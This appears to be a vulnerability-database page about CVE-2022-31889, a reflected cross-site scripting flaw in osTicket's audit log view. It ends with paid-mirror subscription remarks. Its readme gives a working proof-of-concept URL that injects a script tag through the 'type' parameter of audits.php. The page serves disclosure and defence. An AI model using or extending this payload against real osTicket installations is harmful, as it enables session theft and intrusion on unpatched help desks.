CVE-2022-31889 PoC — Enhancesoft osTicket 跨站脚本漏洞

Source

https://github.com/reewardius/CVE-2022-31889

Associated Vulnerability

Title:Enhancesoft osTicket 跨站脚本漏洞 (CVE-2022-31889)
Description:Cross Site Scripting (XSS) vulnerability in audit/templates/auditlogs.tmpl.php in osTicket osTicket-plugins before commit a7842d494889fd5533d13deb3c6a7789768795ae.

Readme

# CVE-2022-31889 for osTicket | Support Ticketing System

Reflected XSS
```
http://localhost/scp/audits.php?startData=&endDate=&type="><script>alert('reflectedXSS')</script>
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →